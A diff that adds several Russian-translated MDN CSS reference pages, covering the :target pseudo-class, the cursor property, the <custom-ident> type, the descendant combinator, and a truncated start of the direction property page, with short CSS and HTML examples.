+translation_of: 'Web/CSS/CSS_Selectors/Using_the_:target_pseudo-class_in_selectors'
+---
+<div>{{CSSRef}}</div>
+
+<p>Иногда пользователям трудно заметить, что URL указывает на определённую часть документа.  Узнайте, как можно использовать простое CSS правило, чтобы привлечь внимание пользователей к цели указания URL и улучшить их впечатления.</p>
+
+<h2 id="Picking_a_Target" name="Picking_a_Target">Выбор целевых элементов</h2>
+
+<p>Псевдокласс {{cssxref(":target")}} используется для стилизации целевого элемента URL, содержащего идентификатор фрагмента. Например, URL <code><span class="nowiki">http://developer.mozilla.org/en/docs/Using_the_:target_selector#example</span></code> содержит идентификатор фрагмента <code>#example</code>. В HTML, идентификаторы определяются значениями атрибутов  <code>id</code> или <code>name</code>, т.к. эти аттрибуты разделяют одно пространство имён. Таким образом,  в вышеприведённом примере URL указывает на первый элемент "example" в документе.</p>
+
+<p>Пердположим, вы хотите стилизовать любой элемент <code>h2</code>, который является целью URL, но не хотите, чтобы другие элементы получили стиль цели. Сделать это довольно просто:</p>
+
+<pre class="brush: css">h2:target { font-weight: bold; }</pre>
+
+<p>Также возможно создать стили, специфичные для определённого фрагмента документа. Это достигается использованием такого же идентификационного значения, как в URI. Таким образом, чтобы добавить рамку к фрагменту<code> #example</code> , напишем:</p>
+
+<pre class="brush: css">#example:target { border: 1px solid black; }</pre>
+
+<h2 id="Targeting_the_Root_Element" name="Targeting_the_Root_Element">Отметка всех элементов, как целевых</h2>
+
+<p>Если вы намерены создать общий стиль, который будет применяться ко всем целевым элементам, то вам пригодится следующий универсальный селектор:</p>
+
+<pre class="brush: css">:target { color: red; }
+</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>В данном примере имеются пять ссылок, которые ссылаются на элементы одного и того же документа. Выбор ссылки "First" , например, приведёт к тому, что  <code>&lt;h1 id="one"&gt;</code> станет целевым элементом.  Заметьте, что при прокутке документа целевые элементы располагаются вверху окна браузера, если это возможно.</p>
+
+<div id="example">
+<pre class="brush: html">&lt;h4 id="one"&gt;...&lt;/h4&gt; &lt;p id="two"&gt;...&lt;/p&gt;
+&lt;div id="three"&gt;...&lt;/div&gt; &lt;a id="four"&gt;...&lt;/a&gt; &lt;em id="five"&gt;...&lt;/em&gt;
+
+&lt;a href="#one"&gt;First&lt;/a&gt;
+&lt;a href="#two"&gt;Second&lt;/a&gt;
+&lt;a href="#three"&gt;Third&lt;/a&gt;
+&lt;a href="#four"&gt;Fourth&lt;/a&gt;
+&lt;a href="#five"&gt;Fifth&lt;/a&gt;</pre>
+</div>
+
+<h2 id="Conclusion" name="Conclusion">Вывод</h2>
+
+<p>В некоторых случаях, когда идентификатор фрагмента указывает на часть документа, читатели могут запутаться в том, какую именно часть документа они читают. Стилизуя целевой элемент URI, такую путаницу читателей можно уменьшить или убрать вообще.</p>
+
+<h2 id="Related_Links" name="Related_Links">Смотрите также</h2>
+
+<ul>
+ <li>{{cssxref(":target")}}</li>
+</ul>
+
+<div class="originaldocinfo">
+<h3 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h3>
+
+<ul>
+ <li>Author(s): Eric Meyer, Standards Evangelist, Netscape Communications</li>
+ <li>Original Copyright Information: Copyright © 2001-2003 Netscape. All rights reserved.</li>
+ <li>Note: This reprinted article was originally part of the DevEdge site.</li>
+</ul>
+</div>
diff --git a/files/ru/web/css/cursor/index.html b/files/ru/web/css/cursor/index.html
new file mode 100644
index 0000000000..9d9d3ea077
--- /dev/null
+++ b/files/ru/web/css/cursor/index.html
@@ -0,0 +1,299 @@
+---
+title: Курсор
+slug: Web/CSS/cursor
+translation_of: Web/CSS/cursor
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p>The <strong><code>cursor</code></strong> CSS property specifies the mouse cursor displayed when the mouse pointer is over an element.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: css">/* Применение ключевых значений */
+cursor: pointer;
+cursor: auto;
+
+/* Использование URL и координат */
+cursor:  url(cursor1.png) 4 12, auto;
+cursor:  url(cursor2.png) 2 2, pointer;
+
+/* Глобальные значения */
+cursor: inherit;
+cursor: initial;
+cursor: unset;
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt>&lt;<code>url</code>&gt;</dt>
+ <dd>Ссылка или разделенный запятыми список ссылок: <code>url(…), url(…), …</code>, указывающие на файл изображения. Дополнительные сссылки могут быть предоставлены в качестве запасных значений, на случай если изображение по основной ссылке не поддерживается в качестве курсора. Запасное значение, не являющееся ссылкой (одно или несколько ключевых слов) <strong>должно </strong>находиться в конце списка значений. See <a href="/en-US/docs/CSS/Using_URL_values_for_the_cursor_property" title="Using_URL_values_for_the_cursor_property">Using URL values for the cursor property</a> for more details.</dd>
+ <dt><code>&lt;x&gt;</code> <code>&lt;y&gt;</code> {{experimental_inline}}</dt>
+ <dd>Необязательные значения х- и у- координат. Два безразмерных неотрицательных числа меньше 32.</dd>
+ <dt>Ключевые слова</dt>
+ <dd>
+ <p><strong style="color: red;">Наведите курсор на картинку, чтобы увидеть пример в действии:</strong></p>
+
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <th>Категория</th>
+    <th style="width: 7.5em;">Значение</th>
+    <th>Вид</th>
+    <th>Описание</th>
+   </tr>
+   <tr style="cursor: auto;">
+    <td rowspan="3">Основные</td>
+    <td><code>auto</code></td>
+    <td></td>
+    <td>Браузер самостоятельно определяет значение курсора в зависимости от свойств элемента, на который наведена мышь.<br>
+     Например: при наведении на текст отобразит курсор <code>text</code>.</td>
+   </tr>
+   <tr style="cursor: default;">
+    <td><code>default</code></td>
+    <td><img alt="default.gif" src="/@api/deki/files/3438/=default.gif" style="height: 26px; width: 26px;"></td>
+    <td>Основной курсор платформы, обычно стрелочка.</td>
+   </tr>
+   <tr style="cursor: none;">
+    <td><code>none</code></td>
+    <td></td>
+    <td>Курсор не отображается.</td>
+   </tr>
+   <tr style="cursor: context-menu;">
+    <td rowspan="5" style="cursor: auto;">Ссылки и статусы выполнения задач</td>
+    <td><code>context-menu</code></td>
+    <td><img alt="context-menu.png" src="/@api/deki/files/3461/=context-menu.png" style="height: 26px; width: 26px;"></td>
+    <td>Доступно контекстное меню.</td>
+   </tr>
+   <tr style="cursor: help;">
+    <td><code>help</code></td>
+    <td><img alt="help.gif" src="/@api/deki/files/3442/=help.gif" style="height: 26px; width: 26px;"></td>
+    <td>Доступна вспомогательная информация.</td>
+   </tr>
+   <tr style="cursor: pointer;">
+    <td><code>pointer</code></td>
+    <td><img alt="pointer.gif" src="/@api/deki/files/3449/=pointer.gif" style="height: 26px; width: 26px;"></td>
+    <td>Указатель, обозначающий ссылку, обычно указующая рука.</td>
+   </tr>
+   <tr style="cursor: progress;">
+    <td><code>progress</code></td>
+    <td><img alt="progress.gif" src="/@api/deki/files/3450/=progress.gif" style="height: 26px; width: 26px;"></td>
+    <td>Программа занята, но пользователь может взаимодействовать с интерфейсом (в отличие от <code>wait</code>).</td>
+   </tr>
+   <tr style="cursor: wait;">
+    <td><code>wait</code></td>
+    <td><img alt="wait.gif" src="/@api/deki/files/3457/=wait.gif" style="height: 26px; width: 26px;"></td>
+    <td>Программа занята (песочные часы).</td>
+   </tr>
+   <tr style="cursor: cell;">
+    <td rowspan="4" style="cursor: auto;">Выделение</td>
+    <td><code>cell</code></td>
+    <td><img alt="cell.gif" src="/@api/deki/files/3434/=cell.gif" style="height: 26px; width: 26px;"></td>
+    <td>Указывает на возможность выбора клетки или клеток таблицы.</td>
+   </tr>
+   <tr style="cursor: crosshair;">
+    <td><code>crosshair</code></td>
+    <td><img alt="crosshair.gif" src="/@api/deki/files/3437/=crosshair.gif" style="height: 26px; width: 26px;"></td>
+    <td>Крестик, часто используемый для обозначения выбора на битовой карте.</td>
+   </tr>
+   <tr style="cursor: text;">
+    <td><code>text</code></td>
+    <td><img alt="text.gif" class="default" src="/files/3809/text.gif" style="height: 26px; width: 26px;"></td>
+    <td>Значок выбора текста.</td>
+   </tr>
+   <tr style="cursor: vertical-text;">
+    <td><code>vertical-text</code></td>
+    <td><img alt="vertical-text.gif" src="/@api/deki/files/3456/=vertical-text.gif" style="height: 26px; width: 26px;"></td>
+    <td>Значок выбора вертикального текста.</td>
+   </tr>
+   <tr style="cursor: alias;">
+    <td rowspan="5" style="cursor: auto;">"Захвати и перенеси"</td>
+    <td><code>alias</code></td>
+    <td><img alt="alias.gif" src="/@api/deki/files/3432/=alias.gif" style="height: 26px; width: 26px;"></td>
+    <td>Будет создана ссылка внутри страницы.</td>
+   </tr>
+   <tr style="cursor: copy;">
+    <td><code>copy</code></td>
+    <td><img alt="copy.gif" class="default" src="/@api/deki/files/3436/=copy.gif" style="height: 26px; width: 26px;"></td>
+    <td>УКазывает на возможность копирования.</td>
+   </tr>
+   <tr style="cursor: move;">
+    <td><code>move</code></td>
+    <td><img alt="move.gif" src="/@api/deki/files/3443/=move.gif" style="height: 26px; width: 26px;"></td>
+    <td>
+     <p>Указывает на возможностсь перемещения объекта.</p>
+    </td>
+   </tr>
+   <tr style="cursor: no-drop;">
+    <td><code>no-drop</code></td>
+    <td><img alt="no-drop.gif" class="lwrap" src="/@api/deki/files/3445/=no-drop.gif" style="float: left; height: 26px; width: 33px;"></td>
+    <td>Указывает на невозможность "сбрасывания" объекта.<br>
+     В Windows и Mac OSX то же самое что и <code>not-allowed</code>.</td>
+   </tr>
+   <tr style="cursor: not-allowed;">
+    <td><code>not-allowed</code></td>
+    <td><img alt="not-allowed.gif" src="/@api/deki/files/3446/=not-allowed.gif" style="height: 26px; width: 26px;"></td>
+    <td>Указатель невозможности выполнения действия.</td>
+   </tr>
+   <tr style="cursor: all-scroll;">
+    <td rowspan="15" style="cursor: auto;">Изменение размера, прокручивание (скроллинг)</td>
+    <td><code>all-scroll</code></td>
+    <td><img alt="all-scroll.gif" src="/@api/deki/files/3433/=all-scroll.gif" style="height: 26px; width: 26px;"></td>
+    <td>Указатель возможности перемещения по странице в любом направлении.<br>
+     в Windows то же самое что <code>move</code>.</td>
+   </tr>
+   <tr style="cursor: col-resize;">
+    <td><code>col-resize</code></td>
+    <td><img alt="col-resize.gif" src="/@api/deki/files/3435/=col-resize.gif" style="height: 26px; width: 26px;"></td>
+    <td>Объект может быть раздвинут/сдвинут горизонтально. Обычно две вертикальные черты со стрелочками в разные стороны.</td>
+   </tr>
+   <tr style="cursor: row-resize;">
+    <td><code>row-resize</code></td>
+    <td><img alt="row-resize.gif" src="/@api/deki/files/3451/=row-resize.gif" style="height: 26px; width: 26px;"></td>
+    <td>Обьект может быть раздвинут/сдвинут вертикально. Две горизонтальные черты с вертикальными стрелочками.</td>
+   </tr>
+   <tr style="cursor: n-resize;">
+    <td><code>n-resize</code></td>
+    <td><img alt="Example of a resize towards the top cursor" src="/files/4083/n-resize.gif" style="border-style: solid; border-width: 0px; height: 26px; width: 26px;"></td>
+    <td rowspan="8" style="cursor: auto;">Грань или грани могут быть перемещены. Например <code>se-resize</code> используется для обозначения перемещения с юго-востока. В некоторых системах то же самое что двунаправленное изменение.</td>
+   </tr>
+   <tr style="cursor: e-resize;">
+    <td><code>e-resize</code></td>
+    <td><img alt="Example of a resize towards the right cursor" src="/files/4085/e-resize.gif" style="height: 26px; width: 26px;"></td>
+   </tr>
+   <tr style="cursor: s-resize;">
+    <td><code>s-resize</code></td>
+    <td><img alt="Example of a resize towards the bottom cursor " src="/files/4087/s-resize.gif" style="height: 26px; width: 26px;"></td>
+   </tr>
+   <tr style="cursor: w-resize;">
+    <td><code>w-resize</code></td>
+    <td><img alt="Example of a resize towards the left cursor" src="/files/4089/w-resize.gif" style="height: 26px; width: 26px;"></td>
+   </tr>
+   <tr style="cursor: ne-resize;">
+    <td><code>ne-resize</code></td>
+    <td><img alt="Example of a resize towards the top-right corner cursor" src="/files/4091/ne-resize.gif" style="height: 26px; width: 26px;"></td>
+   </tr>
+   <tr style="cursor: nw-resize;">
+    <td><code>nw-resize</code></td>
+    <td><img alt="Example of a resize towards the top-left corner cursor" src="/files/4093/nw-resize.gif" style="height: 26px; width: 26px;"></td>
+   </tr>
+   <tr style="cursor: se-resize;">
+    <td><code>se-resize</code></td>
+    <td><img alt="Example of a resize towards the bottom-right corner cursor" src="/files/4097/se-resize.gif" style="height: 26px; width: 26px;"></td>
+   </tr>
+   <tr style="cursor: sw-resize;">
+    <td><code>sw-resize</code></td>
+    <td><img alt="Example of a resize towards the bottom-left corner cursor" src="/files/4095/sw-resize.gif" style="height: 26px; width: 26px;"></td>
+   </tr>
+   <tr style="cursor: ew-resize;">
+    <td><code>ew-resize</code></td>
+    <td><img alt="3-resize.gif" class="default" src="/files/3806/3-resize.gif" style="height: 26px; width: 26px;"></td>
+    <td rowspan="4" style="cursor: auto;">Двунаправленное изменение размера.</td>
+   </tr>
+   <tr style="cursor: ns-resize;">
+    <td><code>ns-resize</code></td>
+    <td><img alt="6-resize.gif" class="default" src="/files/3808/6-resize.gif" style="height: 26px; width: 26px;"></td>
+   </tr>
+   <tr style="cursor: nesw-resize;">
+    <td><code>nesw-resize</code></td>
+    <td><img alt="1-resize.gif" class="default" src="/files/3805/1-resize.gif"></td>
+   </tr>
+   <tr style="cursor: nwse-resize;">
+    <td><code>nwse-resize</code></td>
+    <td><img alt="4-resize.gif" class="default" src="/files/3807/4-resize.gif" style="height: 26px; width: 26px;"></td>
+   </tr>
+   <tr style="cursor: zoom-in;">
+    <td rowspan="2">Масштабирование</td>
+    <td><code>zoom-in</code></td>
+    <td><img alt="zoom-in.gif" class="default" src="/@api/deki/files/3459/=zoom-in.gif"></td>
+    <td rowspan="2" style="cursor: auto;">
+     <p>Приближение или уменьшение.</p>
+    </td>
+   </tr>
+   <tr style="cursor: zoom-out;">
+    <td><code>zoom-out</code></td>
+    <td><img alt="zoom-out.gif" class="default" src="/@api/deki/files/3460/=zoom-out.gif"></td>
+   </tr>
+   <tr id="grab">
+    <td rowspan="2">Захват</td>
+    <td><code>grab</code></td>
+    <td><img alt="grab.gif" class="default" src="/@api/deki/files/3440/=grab.gif"></td>
+    <td rowspan="2" style="cursor: auto;">
+     <p>Указывает на возможность схватить и переместить объект.</p>
+    </td>
+   </tr>
+   <tr>
+    <td><code>grabbing</code></td>
+    <td><img alt="grabbing.gif" class="default" src="/@api/deki/files/3441/=grabbing.gif"></td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush:css">.foo {
+  cursor: crosshair;
+}
+
+/* use prefixed-value if "zoom-in" isn't supported */
+.bar {
+  cursor: -webkit-zoom-in;
+  cursor: zoom-in;
+}
+
+/* standard cursor value as fallback for url() <u>must</u> be provided (doesn't work without) */
+.baz {
+  cursor: url(hyper.cur), auto;
+}
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Basic UI', '#cursor', 'cursor')}}</td>
+   <td>{{Spec2('CSS3 Basic UI')}}</td>
+   <td>Addition of several keywords and the positioning syntax for <code>url()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'ui.html#cursor-props', 'cursor')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("css.properties.cursor")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Using_URL_values_for_the_cursor_property" title="Using URL values for the cursor property">Using URL values for the cursor property</a></li>
+ <li>{{cssxref("pointer-events")}}</li>
+ <li><a href="http://msdn.microsoft.com/en-us/library/aa358795.aspx">Cursor Property (MSDN)</a></li>
+</ul>
diff --git a/files/ru/web/css/custom-ident/index.html b/files/ru/web/css/custom-ident/index.html
new file mode 100644
index 0000000000..facafe5d39
--- /dev/null
+++ b/files/ru/web/css/custom-ident/index.html
@@ -0,0 +1,136 @@
+---
+title: <custom-ident>
+slug: Web/CSS/custom-ident
+tags:
+  - CSS
+  - CSS Data Type
+  - CSS Тип Данных
+  - Data Type
+  - Layout
+  - Reference
+  - Web
+  - Разметка
+  - тип данных
+translation_of: Web/CSS/custom-ident
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ru/docs/Web/CSS">CSS</a> <a href="/ru/docs/Web/CSS/CSS_Types">тип данных</a> <strong><code>&lt;custom-ident&gt;</code></strong> включает любые определённые пользователем строки, используемые в качестве {{glossary("identifier", "идентификатора")}}. Они чувствительны к регистру, некоторые значения запрещены в разных контекстах, чтобы избежать неоднозначности.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<p>Синтаксис <code>&lt;custom-ident&gt;</code> похож на синтаксис CSS идентификаторов (таких, как названия свойств), за исключением того, что значения <code>&lt;custom-ident&gt;</code> чувствительны к регистру. Они состоят из одного или более следующих символов:</p>
+
+<ul>
+ <li>буквы латинского алфавита(от <code>A</code> до <code>Z</code>, от <code>a</code> до <code>z</code>),</li>
+ <li>десятеричные цифры (от <code>0</code> до <code>9</code>),</li>
+ <li>дефис (<code>-</code>),</li>
+ <li>нижнее подчёркивание (<code>_</code>),</li>
+ <li>экранированный символ (символ с бэкслэшем перед ним, <code>\</code>),</li>
+ <li>символ <a class="external" href="https://ru.wikipedia.org/wiki/%D0%AE%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4">Unicode</a> (бэкслэш, <code>\</code>, после которого идут от одной до шести шестнадцатеричных цифр, обозначающих кодовую точку этого символа в Unicode)</li>
+</ul>
+
+<p>Обратите внимание, что <code>id1</code>, <code>Id1</code>, <code>iD1</code> и <code>ID1</code> — это разные идентификаторы, поскольку они чувствительны к регистру. С другой стороны, так как существует несколько способов экранировать символ, <code>toto\?</code> и <code>toto\3F</code> — это один и тот же идентификатор.</p>
+
+<h3 id="Запрещённые_значения">Запрещённые значения</h3>
+
+<p><code>&lt;custom-ident&gt;</code> не может быть заключён в одинарные или двойные кавычки, потому что иначе он не был бы отличим от значения типа {{CSSxRef("&lt;string&gt;")}}. Более того, первый символ не должен быть цифрой или дефисом (<code>-</code>), если после него идёт ещё одна цифра или ещё один дефис.</p>
+
+<p>Чтобы избежать неоднозначности, каждое свойство, использующее тип <code>&lt;custom-ident&gt;</code>, запрещает использование некоторых значений:</p>
+
+<dl>
+ <dt>{{CSSxRef("animation-name")}}</dt>
+ <dt>{{CSSxRef("counter-reset")}}</dt>
+ <dt>{{CSSxRef("counter-increment")}}</dt>
+ <dd>Запрещают глобальные значения CSS (<code>unset</code>, <code>initial</code> и <code>inherit</code>), а также <code>none</code>.</dd>
+ <dt>{{CSSxRef("@counter-style")}}</dt>
+ <dt>{{CSSxRef("list-style-type")}}</dt>
+ <dd>Запрещает глобальные значения CSS (<code>unset</code>, <code>initial</code> и <code>inherit</code>), а также значения <code>none</code>, <code>inline</code> и <code>outside</code>. Также довольно много предопределённых значений используются в разных браузерах: <code>disc</code>, <code>circle</code>, <code>square</code>, <code>decimal</code>, <code>cjk-decimal</code>, <code>decimal-leading-zero</code>, <code>lower-roman</code>, <code>upper-roman</code>, <code>lower-greek</code>, <code>lower-alpha</code>, <code>lower-latin</code>, <code>upper-alpha</code>, <code>upper-latin</code>, <code>arabic-indic</code>, <code>armenian</code>, <code>bengali</code>, <code>cambodian</code>, <code>cjk-earthly-branch</code>, <code>cjk-heavenly-stem</code>, <code>cjk-ideographic</code>, <code>devanagari</code>, <code>ethiopic-numeric</code>, <code>georgian</code>, <code>gujarati</code>, <code>gurmukhi</code>, <code>hebrew</code>, <code>hiragana</code>, <code>hiragana-iroha</code>, <code>japanese-formal</code>, <code>japanese-informal</code>, <code>kannada</code>, <code>katakana</code>, <code>katakana-iroha</code>, <code>khmer</code>, <code>korean-hangul-formal</code>, <code>korean-hanja-formal</code>, <code>korean-hanja-informal</code>, <code>lao</code>, <code>lower-armenian</code>, <code>malayalam</code>, <code>mongolian</code>, <code>myanmar</code>, <code>oriya</code>, <code>persian</code>, <code>simp-chinese-formal</code>, <code>simp-chinese-informal</code>, <code>tamil</code>, <code>telugu</code>, <code>thai</code>, <code>tibetan</code>, <code>trad-chinese-formal</code>, <code>trad-chinese-informal</code>, <code>upper-armenian</code>, <code>disclosure-open</code>, and <code>disclosure-close</code>.</dd>
+ <dt>{{CSSxRef("grid-row-start")}}<br>
+ {{CSSxRef("grid-row-end")}}<br>
+ {{CSSxRef("grid-column-start")}}<br>
+ {{CSSxRef("grid-column-end")}}</dt>
+ <dd>Запрещают значение <code>span</code>.</dd>
+ <dt>{{CSSxRef("will-change")}}</dt>
+ <dd>Запрещают глобальные значения CSS (<code>unset</code>, <code>initial</code> и <code>inherit</code>), а так же значения <code>will-change</code>, <code>auto</code>, <code>scroll-position</code> и <code>contents</code>.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Действительные_идентификаторы">Действительные идентификаторы</h3>
+
+<pre class="notranslate">nono79            Состоит из букв и цифр
+ground-level      Состоит из букв, цифр и дефиса
+-test             Буквы, следующие за одним дефисом
+_internal         Буквы, следующие за нижним подчёркиванием
+\22 toto          Буквы, следующие за символом Unicode
+bili\.bob         Буквы и экранированная точка
+</pre>
+
+<h3 id="Недействительные_идентификаторы">Недействительные идентификаторы</h3>
+
+<pre class="example-bad notranslate">34rem             Не может начинаться с цифры
+-12rad            Не может начинаться с дефиса, за которым следует цифра
+bili.bob          Только буквы, цифры, _ и - можно не экранириовать
+--toto            Не может начинаться с двух дефисов подряд
+'bilibob'         Это тип &lt;string&gt;.
+"bilibob"         Это тип &lt;string&gt;.</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Values', '#custom-idents', '<code>&lt;custom-ident&gt;</code>')}}</td>
+   <td>{{Spec2('CSS4 Values')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS Will Change', '#valdef-will-change-custom-ident', '<code>&lt;custom-ident&gt;</code> for <code>will-change</code>')}}</td>
+   <td>{{Spec2('CSS Will Change')}}</td>
+   <td>Определяет, какие значения запрещены в {{CSSxRef("will-change")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Counter Styles', '#typedef-counter-style-name', '<code>&lt;custom-ident&gt;</code> for <code>list-style-type</code>')}}</td>
+   <td>{{Spec2('CSS3 Counter Styles')}}</td>
+   <td>Начинает использовать <code>&lt;custom-ident&gt;</code> вместо конечного списка ключевых слов. Определяет, какие значения запрещены в {{CSSxRef("list-style-type")}} и {{CSSxRef("@counter-style")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Lists', '#counter-properties', '<code>&lt;custom-ident&gt;</code> for <code>counter-*</code>')}}</td>
+   <td>{{Spec2('CSS3 Lists')}}</td>
+   <td>Переименовывает <code>&lt;identifier&gt;</code> в <code>&lt;custom-ident&gt;</code>. Добавляет возможность его использовать в свойстве <code>counter-set</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Animations', '#typedef-single-animation-name', '<code>&lt;custom-ident&gt;</code> for <code>animation-name</code>')}}</td>
+   <td>{{Spec2('CSS3 Animations')}}</td>
+   <td>Определяет запрещённые значения для {{CSSxRef("animation-name")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Values', '#custom-idents', '<code>&lt;custom-ident&gt;</code>')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td>Переименовывает <code>&lt;identifier&gt;</code> в <code>&lt;custom-ident&gt;</code>. Делает его псевдо-типом и запрещает использование некоторых значчений.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'syndata.html#value-def-identifier', '<code>&lt;identifier&gt;</code>')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Первое определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p><em>As this type is not a real type but a convenience type used to simplify the description of allowed values, there is no browser compatibility information as such.</em></p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{CSSxRef("&lt;ident&gt;")}}</li>
+</ul>
diff --git a/files/ru/web/css/descendant_combinator/index.html b/files/ru/web/css/descendant_combinator/index.html
new file mode 100644
index 0000000000..4498ab146b
--- /dev/null
+++ b/files/ru/web/css/descendant_combinator/index.html
@@ -0,0 +1,115 @@
+---
+title: Селектор потомков
+slug: Web/CSS/Descendant_combinator
+translation_of: Web/CSS/Descendant_combinator
+---
+<p><span class="s1">{{CSSRef("Selectors")}}</span></p>
+
+<h2 id="Summary" name="Summary">Описание</h2>
+
+<p>Комбинатор<code> ␣</code> (пробел) представляет собой 2 или более селекторов, найдет элементы соответвующие обоим селекторам. Селекторы по потомкам похожи на селекторы <a href="/ru/docs/Web/CSS/Child_selectors">дочерних элементов</a>, но они не учитывают вложенность элементов и пременяют свои свойства ко всем элемнтам данного типа, находящимся внутри родительского элемента, независимо от глубины вложенности.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval">selector1 selector2 {<em>стили</em> }
+</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: css">span { background-color: white; }
+div span { background-color: DodgerBlue; }
+</pre>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;span&gt;Span 1
+    &lt;span&gt;Span 2&lt;/span&gt;
+  &lt;/span&gt;
+&lt;/div&gt;
+&lt;span&gt;Span 3&lt;/span&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('Example', 200, 50) }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS4 Selectors', '#descendant-combinators', 'descendant combinator') }}</td>
+   <td>{{ Spec2('CSS4 Selectors') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Selectors', '#descendant-combinators', 'descendant combinator') }}</td>
+   <td>{{ Spec2('CSS3 Selectors') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'selector.html#descendant-selectors', 'descendant selectors') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS1', '#contextual-selectors', 'contextual selectors') }}</td>
+   <td>{{ Spec2('CSS1') }}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/css/direction/index.html b/files/ru/web/css/direction/index.html
new file mode 100644
index 0000000000..b76f8a3824
--- /dev/null
+++ b/files/ru/web/css/direction/index.html
@@ -0,0 +1,99 @@
+---
+title: direction
+slug: Web/CSS/direction
+translation_of: Web/CSS/direction
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary">The <strong><code>direction</code></strong> CSS property sets the direction of text, table columns, and horizontal overflow.</span> Use <code>rtl</code> for languages written from right to left (like Hebrew or Arabic), and <code>ltr</code> for those written from left to right (like English and most other languages).</p>
+
+<div>{{EmbedInteractiveExample("pages/css/direction.html")}}</div>
+
+
+
+<p>Заметьте, что направление текста обычно задано в документе (т.е. с помощью <a href="/en-US/docs/Web/HTML/Global_attributes/dir">HTML's <code>dir</code> attribute</a>), а не посредством прямого использования свойства <code>direction</code>.</p>
+
